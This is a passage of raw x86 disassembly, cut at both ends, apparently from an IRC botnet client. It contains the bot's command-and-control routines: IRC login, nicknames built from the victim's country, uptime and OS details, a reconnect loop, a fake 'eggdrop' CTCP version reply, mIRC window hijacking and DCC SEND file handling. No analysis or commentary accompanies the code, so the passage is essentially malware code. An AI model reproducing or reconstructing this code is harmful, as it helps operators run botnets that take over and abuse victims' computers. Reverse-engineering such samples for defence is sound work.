[ebp+var_4] imul eax, 0Ch cmp off_41DA68[eax], 0 jz short loc_40CFBC jmp short loc_40CFA4 ; --------------------------------------------------------------------------- loc_40CFBC: ; CODE XREF: sub_40CF2F+89j call sub_410422 xor edx, edx div [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA68[eax] push offset dword_41E898 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA6C[eax] push offset dword_41E998 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch cmp dword_41DA70[eax], 0 jz short loc_40D020 mov eax, [ebp+var_8] imul eax, 0Ch push dword_41DA70[eax] push offset byte_41E718 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D020: ; CODE XREF: sub_40CF2F:loc_40CF99j ; sub_40CF2F+D7j push offset dword_41E898 call sub_4105AD pop ecx push offset dword_41E998 call sub_4105AD pop ecx push offset byte_41E718 call sub_4105AD pop ecx leave retn sub_40CF2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D043 proc near ; CODE XREF: sub_40D366+7Fp ; sub_40D871+619p var_250 = dword ptr -250h var_24C = byte ptr -24Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_18C = dword ptr -18Ch var_188 = dword ptr -188h var_184 = byte ptr -184h var_104 = byte ptr -104h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push edi lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_80] push eax call sub_40668F add esp, 0Ch movsx eax, byte_41E718 test eax, eax jz short loc_40D099 push offset byte_41E718 call sub_4105FB pop ecx push offset byte_41E718 push offset aPassS ; "PASS %s" call sub_40D6CB pop ecx pop ecx push offset byte_41E718 call sub_4105AD pop ecx loc_40D099: ; CODE XREF: sub_40D043+2Dj cmp [ebp+arg_0], 0 jz loc_40D132 movsx eax, byte_41EEC8 test eax, eax jz short loc_40D0C3 push offset byte_41EEC8 lea eax, [ebp+var_184] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D0D6 ; --------------------------------------------------------------------------- loc_40D0C3: ; CODE XREF: sub_40D043+69j lea eax, [ebp+var_184] push eax push offset byte_41EEC8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D0D6: ; CODE XREF: sub_40D043+7Ej movsx eax, byte_41F048 test eax, eax jz short loc_40D0F6 push offset byte_41F048 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D109 ; --------------------------------------------------------------------------- loc_40D0F6: ; CODE XREF: sub_40D043+9Cj lea eax, [ebp+var_104] push eax push offset byte_41F048 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D109: ; CODE XREF: sub_40D043+B1j lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax push offset aUserSSSS ; "USER %s %s %s :%s" call sub_40D6CB add esp, 14h loc_40D132: ; CODE XREF: sub_40D043+5Aj cmp [ebp+arg_4], 0 jz loc_40D363 cmp [ebp+arg_0], 0 jz short loc_40D163 movsx eax, byte_41EE48 test eax, eax jz short loc_40D163 push offset byte_41EE48 push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40D363 ; --------------------------------------------------------------------------- loc_40D163: ; CODE XREF: sub_40D043+FDj ; sub_40D043+108j call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_188], eax cmp [ebp+var_188], 4 jnb short loc_40D18D call sub_406AE7 test eax, eax jz loc_40D31F loc_40D18D: ; CODE XREF: sub_40D043+13Bj call sub_406A23 lea eax, [ebp+var_24C] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40D1B6 push offset aUnk ; "UNK" lea eax, [ebp+var_24C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D1B6: ; CODE XREF: sub_40D043+15Ej call sub_408E8E cmp eax, 400h jbe short loc_40D1CF call sub_408E8E mov [ebp+var_250], eax jmp short loc_40D1D9 ; --------------------------------------------------------------------------- loc_40D1CF: ; CODE XREF: sub_40D043+17Dj mov [ebp+var_250], 400h loc_40D1D9: ; CODE XREF: sub_40D043+18Aj mov eax, [ebp+var_250] shr eax, 0Ah mov [ebp+var_228], eax call sub_408887 mov [ebp+var_18C], eax mov [ebp+var_224], offset aB ; "B" cmp [ebp+var_18C], 2EEh jnb short loc_40D213 mov [ebp+var_224], offset aA ; "A" loc_40D213: ; CODE XREF: sub_40D043+1C4j cmp [ebp+var_18C], 1F4h jnb short loc_40D229 mov [ebp+var_224], offset aG ; "G" loc_40D229: ; CODE XREF: sub_40D043+1DAj and [ebp+var_22C], 0 mov [ebp+var_220], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_21C] rep stosd lea eax, [ebp+var_220] push eax call dword_417030 ; GetVersionExA cmp [ebp+var_21C], 5 jnz short loc_40D270 cmp [ebp+var_218], 1 jnz short loc_40D270 mov [ebp+var_22C], 1 loc_40D270: ; CODE XREF: sub_40D043+218j ; sub_40D043+221j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_22C], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_224] push [ebp+var_228] push 5Dh push [ebp+var_188] push 5Bh push 5Dh lea eax, [ebp+var_24C] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_80] push eax call sub_416B5E ; sprintf add esp, 34h movsx eax, byte_41DB34 test eax, eax jz short loc_40D31D push offset byte_41DB34 push offset dword_41DAB4 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41DAB4 call sub_4105FB pop ecx movsx eax, byte_41DBB4 test eax, eax jz short loc_40D31D push offset byte_41DBB4 push offset dword_41ED48 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41ED48 call sub_4105FB pop ecx loc_40D31D: ; CODE XREF: sub_40D043+295j ; sub_40D043+2BCj jmp short loc_40D343 ; --------------------------------------------------------------------------- loc_40D31F: ; CODE XREF: sub_40D043+144j push offset dword_41DAA4 lea eax, [ebp+var_80] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_80] push eax call sub_4105FB pop ecx lea eax, [ebp+var_80] push eax call sub_40D7E5 pop ecx loc_40D343: ; CODE XREF: sub_40D043:loc_40D31Dj lea eax, [ebp+var_80] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx lea eax, [ebp+var_80] push eax push offset byte_41EE48 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D363: ; CODE XREF: sub_40D043+F3j ; sub_40D043+11Bj pop edi leave retn sub_40D043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D366 proc near ; CODE XREF: sub_40A9CF+1521p ; sub_40D871+4A7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF2F add esp, 0Ch push dword_41E9A4 call sub_40538D pop ecx mov [ebp+var_4], 0EA60h loc_40D38E: ; CODE XREF: sub_40D366:loc_40D419j push offset dword_41E898 call sub_4105FB pop ecx push offset dword_41E998 call sub_4105FB pop ecx push 2710h push 1 push offset dword_41E998 push offset dword_41E898 call sub_4050EA add esp, 10h mov dword_41E9A4, eax push offset dword_41E898 call sub_4105AD pop ecx push offset dword_41E998 call sub_4105AD pop ecx cmp dword_41E9A4, 0 jz short loc_40D3EE push 1 push 1 call sub_40D043 pop ecx pop ecx jmp short locret_40D41E ; --------------------------------------------------------------------------- loc_40D3EE: ; CODE XREF: sub_40D366+79j push 0 push 0 push 0 call sub_40CF2F add esp, 0Ch push [ebp+var_4] call dword_41709C ; Sleep cmp [ebp+var_4], 0A4CB80h jge short loc_40D419 mov eax, [ebp+var_4] add eax, 0EA60h mov [ebp+var_4], eax loc_40D419: ; CODE XREF: sub_40D366+A6j jmp loc_40D38E ; --------------------------------------------------------------------------- locret_40D41E: ; CODE XREF: sub_40D366+86j leave retn sub_40D366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D420 proc near ; CODE XREF: sub_4020C2+1DEp ; sub_40A9CF+1219p ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch leave retn sub_40D420 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4AB proc near ; CODE XREF: sub_4020C2+21Bp ; sub_40332B+1A6p ... var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1004] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_1008], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_1008] push eax mov eax, [ebp+var_1008] lea eax, [ebp+eax+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch leave retn sub_40D4AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D53F proc near ; CODE XREF: sub_401244+51p ; sub_401244+41Ep ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_40D55F jmp locret_40D6C9 ; --------------------------------------------------------------------------- loc_40D55F: ; CODE XREF: sub_40D53F+19j and [ebp+var_8], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 1 jnz short loc_40D58F mov eax, [ebp+arg_0] add eax, 21h push eax push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D58F: ; CODE XREF: sub_40D53F+2Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jnz short loc_40D5BB mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A058 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5BB: ; CODE XREF: sub_40D53F+5Aj mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D5E7 mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A048 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5E7: ; CODE XREF: sub_40D53F+86j mov eax, [ebp+arg_0] add eax, 21h push eax push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax loc_40D605: ; CODE XREF: sub_40D53F+4Ej ; sub_40D53F+7Aj ... mov eax, [ebp+arg_0] cmp dword ptr [eax+19Fh], 0 jz short loc_40D63C mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D629 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D63C loc_40D629: ; CODE XREF: sub_40D53F+DCj push offset dword_41A03C lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D63C: ; CODE XREF: sub_40D53F+D0j ; sub_40D53F+E8j lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D680 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D693 loc_40D680: ; CODE XREF: sub_40D53F+133j push offset dword_41A038 lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D693: ; CODE XREF: sub_40D53F+13Fj push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch locret_40D6C9: ; CODE XREF: sub_40D53F+1Bj leave retn sub_40D53F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6CB proc near ; CODE XREF: sub_40332B+205p ; sub_40332B+212p ... var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 1004h call sub_416BC0 lea eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_0] push 1000h lea eax, [ebp+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch leave retn sub_40D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D734 proc near ; CODE XREF: sub_40D74D:loc_40D75Ep var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push offset aMirc ; "mIRC" call dword_4171E8 ; FindWindowA mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_40D734 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D74D proc near ; CODE XREF: sub_40A9CF+926p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jnz short loc_40D75E jmp locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D75E: ; CODE XREF: sub_40D74D+Aj call sub_40D734 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40D76E jmp short locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D76E: ; CODE XREF: sub_40D74D+1Dj push offset aMirc ; "mIRC" push 1000h push 0 push 4 push 0 push 0FFFFFFFFh call dword_4170C0 ; CreateFileMappingA mov [ebp+var_8], eax push 0 push 0 push 0 push 0F001Fh push [ebp+var_8] call dword_4170BC ; MapViewOfFile mov [ebp+var_C], eax push [ebp+arg_0] push [ebp+var_C] call sub_416B5E ; sprintf pop ecx pop ecx push 0 push 1 push 4C8h push [ebp+var_4] call dword_4171EC ; SendMessageA push 0 push 1 push 4C9h push [ebp+var_4] call dword_4171EC ; SendMessageA push [ebp+var_C] call dword_4170B8 ; UnmapViewOfFile push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40D7E3: ; CODE XREF: sub_40D74D+Cj ; sub_40D74D+1Fj leave retn sub_40D74D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D7E5 proc near ; CODE XREF: sub_40A9CF+E3p ; sub_40D043+2FAp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40D803 ; --------------------------------------------------------------------------- loc_40D7FC: ; CODE XREF: sub_40D7E5:loc_40D86Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40D803: ; CODE XREF: sub_40D7E5+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short locret_40D86F mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40D82E push 39h push 30h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D82E: ; CODE XREF: sub_40D7E5+32j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40D86D call sub_410483 test eax, eax jz short loc_40D85A push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D85A: ; CODE XREF: sub_40D7E5+5Ej push 5Ah push 41h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al loc_40D86D: ; CODE XREF: sub_40D7E5+47j ; sub_40D7E5+55j ... jmp short loc_40D7FC ; --------------------------------------------------------------------------- locret_40D86F: ; CODE XREF: sub_40D7E5+24j leave retn sub_40D7E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D871 proc near ; CODE XREF: sub_40E618+321p var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_7D8 = dword ptr -7D8h var_7D4 = dword ptr -7D4h var_7D0 = dword ptr -7D0h var_7CC = dword ptr -7CCh var_7C8 = dword ptr -7C8h var_7C4 = byte ptr -7C4h var_7C0 = dword ptr -7C0h var_7BC = byte ptr -7BCh var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_4B4 = byte ptr -4B4h var_490 = byte ptr -490h var_390 = byte ptr -390h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_35C = dword ptr -35Ch var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_238 = dword ptr -238h var_234 = byte ptr -234h var_213 = byte ptr -213h var_113 = dword ptr -113h var_10F = byte ptr -10Fh var_95 = dword ptr -95h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = byte ptr -7Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 7E8h push edi push offset aPing ; "PING" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8A7 mov eax, [ebp+arg_C] push dword ptr [eax+4] push offset aPongS ; "PONG %s" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8A7: ; CODE XREF: sub_40D871+1Dj push offset aPong ; "PONG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8C2 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8C2: ; CODE XREF: sub_40D871+4Aj push offset aMode ; "MODE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8DD jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8DD: ; CODE XREF: sub_40D871+65j push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DB2D mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz loc_40DB2D mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax+1] cmp eax, 1 jnz loc_40DB2D push offset dword_41A14C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jz loc_40DA81 push offset aSend ; "SEND" mov eax, [ebp+arg_C] push dword ptr [eax+10h] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 cmp [ebp+arg_0], 0 jz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+14h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+18h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+1Ch], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+20h], 0 jnz short loc_40D98B loc_40D986: ; CODE XREF: sub_40D871+F8j ; sub_40D871+101j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D871+113j mov eax, [ebp+arg_C] mov eax, [eax+14h] movsx eax, byte ptr [eax] cmp eax, 22h jnz short loc_40D99E jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D99E: ; CODE XREF: sub_40D871+126j mov eax, [ebp+arg_C] push dword ptr [eax+20h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+20h] and byte ptr [ecx+eax], 0 push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41DAB4 lea eax, [ebp+var_213] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_113], 0 push 7Ah push 0 lea eax, [ebp+var_10F] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_95], 1 mov eax, [ebp+arg_C] push dword ptr [eax+18h] call sub_416B9C ; atoi pop ecx mov [ebp+var_238], eax movzx eax, byte ptr [ebp+var_238] push eax mov eax, [ebp+var_238] shr eax, 8 movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 10h movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 18h movzx eax, al push eax push offset dword_418A50 lea eax, [ebp+var_248] push eax call sub_416B5E ; sprintf add esp, 18h mov eax, [ebp+arg_C] push dword ptr [eax+20h] mov eax, [ebp+arg_C] push dword ptr [eax+1Ch] lea eax, [ebp+var_248] push eax mov eax, [ebp+arg_C] push dword ptr [eax+14h] push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_4024F3 add esp, 18h jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DA81: ; CODE XREF: sub_40D871+BAj ; sub_40D871+C7j ... push offset dword_41A138 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DAAD push offset dword_41A12C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40DAEB loc_40DAAD: ; CODE XREF: sub_40D871+224j cmp [ebp+arg_0], 0 jz short loc_40DAD1 push offset dword_41DC34 push 3B6h push 0 push offset dword_41A108 push [ebp+arg_4] call sub_40D420 add esp, 14h jmp short loc_40DAE6 ; --------------------------------------------------------------------------- loc_40DAD1: ; CODE XREF: sub_40D871+240j push offset aEggdropV1_6_16 ; "eggdrop v1.6.16" push offset dword_41A0E8 push [ebp+arg_4] call sub_40D420 add esp, 0Ch loc_40DAE6: ; CODE XREF: sub_40D871+25Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DAEB: ; CODE XREF: sub_40D871+23Aj push offset dword_41A0E0 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DB16 push offset dword_41A0D8 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call dword_417108 ; lstrcmp test eax, eax jnz short loc_40DB2D loc_40DB16: ; CODE XREF: sub_40D871+28Ej mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax push eax push [ebp+arg_4] call sub_40D420 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DB2D: ; CODE XREF: sub_40D871+80j ; sub_40D871+8Dj ... push offset a433 ; "433" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DCFD call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_2CC], eax cmp [ebp+var_2CC], 4 jnb short loc_40DB71 call sub_406AE7 test eax, eax jz loc_40DCB8 loc_40DB71: ; CODE XREF: sub_40D871+2F1j call sub_406A23 lea eax, [ebp+var_390] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40DB9A push offset aUnk ; "UNK" lea eax, [ebp+var_390] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DB9A: ; CODE XREF: sub_40D871+314j call sub_408E8E cmp eax, 400h jbe short loc_40DBB3 call sub_408E8E mov [ebp+var_7E4], eax jmp short loc_40DBBD ; --------------------------------------------------------------------------- loc_40DBB3: ; CODE XREF: sub_40D871+333j mov [ebp+var_7E4], 400h loc_40DBBD: ; CODE XREF: sub_40D871+340j mov eax, [ebp+var_7E4] shr eax, 0Ah mov [ebp+var_36C], eax call sub_408887 mov [ebp+var_2D0], eax mov [ebp+var_368], offset aB ; "B" cmp [ebp+var_2D0], 3E8h jnb short loc_40DBF7 mov [ebp+var_368], offset aA ; "A" loc_40DBF7: ; CODE XREF: sub_40D871+37Aj cmp [ebp+var_2D0], 1F4h jnb short loc_40DC0D mov [ebp+var_368], offset aG ; "G" loc_40DC0D: ; CODE XREF: sub_40D871+390j and [ebp+var_370], 0 mov [ebp+var_364], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_360] rep stosd lea eax, [ebp+var_364] push eax call dword_417030 ; GetVersionExA cmp [ebp+var_360], 5 jnz short loc_40DC54 cmp [ebp+var_35C], 1 jnz short loc_40DC54 mov [ebp+var_370], 1 loc_40DC54: ; CODE XREF: sub_40D871+3CEj ; sub_40D871+3D7j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_370], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_368] push [ebp+var_36C] push 5Dh push [ebp+var_2CC] push 5Bh push 5Dh lea eax, [ebp+var_390] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_2C8] push eax call sub_416B5E ; sprintf add esp, 34h jmp short loc_40DCE5 ; --------------------------------------------------------------------------- loc_40DCB8: ; CODE XREF: sub_40D871+2FAj push offset dword_41DAA4 lea eax, [ebp+var_2C8] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_2C8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_2C8] push eax call sub_40D7E5 pop ecx loc_40DCE5: ; CODE XREF: sub_40D871+445j lea eax, [ebp+var_2C8] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DCFD: ; CODE XREF: sub_40D871+2D0j push offset aError ; "ERROR" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD25 push 0 push 0 push 0 call sub_40D366 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD25: ; CODE XREF: sub_40D871+49Fj push offset aJoin ; "JOIN" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 push offset byte_41EE48 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz 